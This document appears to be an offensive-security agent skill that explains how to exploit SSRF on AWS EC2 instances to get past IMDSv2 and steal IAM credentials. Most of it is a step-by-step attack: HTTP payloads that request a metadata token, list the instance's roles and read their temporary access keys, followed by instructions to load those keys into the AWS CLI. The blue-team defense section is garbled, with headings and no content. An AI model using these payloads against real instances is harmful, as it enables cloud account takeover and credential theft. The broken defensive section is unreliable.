aws-imdsv2-ssrf-bypass

The full skill.

Original instructions from the publisher’s SKILL.md

# AWS IMDSv2 SSRF Bypass

## When to Use
- When you have identified an SSRF vulnerability on an AWS EC2 instance, but IMDSv1 is disabled, and the service requires IMDSv2 tokens.
- When the SSRF vector gives you enough control to issue a `PUT` request and specify custom HTTP headers.


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Identifying the Restriction

Attempting a standard IMDSv1 request to `http://169.254.169.254/latest/meta-data/` yields a `401 Unauthorized` or requires a token. This confirms IMDSv2 is enforced.

### Phase 2: Generating the Token (The PUT Request)

IMDSv2 requires a session token. You must use the SSRF to send a `PUT` request to `/latest/api/token` with the header `X-aws-ec2-metadata-token-ttl-seconds`.

```http
# Concept: Push the SSRF payload to request the token PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
```
*Note: If the SSRF only allows GET requests, bypassing IMDSv2 via this specific method is generally not possible unless you have header injection/request smuggling.*

### Phase 3: Extracting Metadata (The GET Request)

If Phase 2 succeeds, the response will contain the token string (e.g., `AQAAAHN...`).
You must then issue a second SSRF request (a `GET` request) to the metadata endpoint, injecting the acquired token via the `X-aws-ec2-metadata-token` header.

```http
# GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...
```

### Phase 4: Looting the IAM Keys

Identify the IAM role name from the previous step, then extract the temporary credentials.

```http
# GET /latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...
```
Configure your local AWS CLI with the retrieved `AccessKeyId`, `SecretAccessKey`, and `Token`.

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Discover SSRF ] --> B{IMDS Version? ]}
    B -->|IMDSv1| C[Direct GET Request ]
    B -->|IMDSv2| D{SSRF Allows PUT & Headers? }
    D -->|Yes| E[Send PUT to get Token ]
    D -->|No| F[Bypass Failed - IMDSv2 Secure ]
    E --> G[Send GET with Token Header ]
    C & G --> H[Extract Credentials ]
```

## 🔵 Blue Team Detection & Defense
- **Enforce IMDSv2 Globally**: **Restrict Hop Limit**: **Limit IAM Roles on EC2**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Aws Imdsv2 Ssrf Bypass — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- AWS Docs: [Transition to IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
- HackTricks: [AWS Pentesting IMDS](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#aws)